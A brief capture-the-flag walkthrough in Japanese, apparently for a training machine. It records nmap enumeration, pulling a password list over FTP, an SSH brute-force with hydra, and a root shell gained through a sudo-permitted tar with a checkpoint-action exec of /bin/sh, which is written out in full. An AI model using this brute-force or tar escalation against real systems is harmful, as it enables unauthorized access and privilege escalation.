enum

  • nmap
    • 21:ftp
    • 22:ssh
  • ftp
    • locks.txt
    • task.txt

user.txt

  • hydra ssh で locks.txt を使う
  • user.txt が見える

root.txt

  • sudo -l で ```(root) /bin/tar
  • sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
  • root.txt ゲット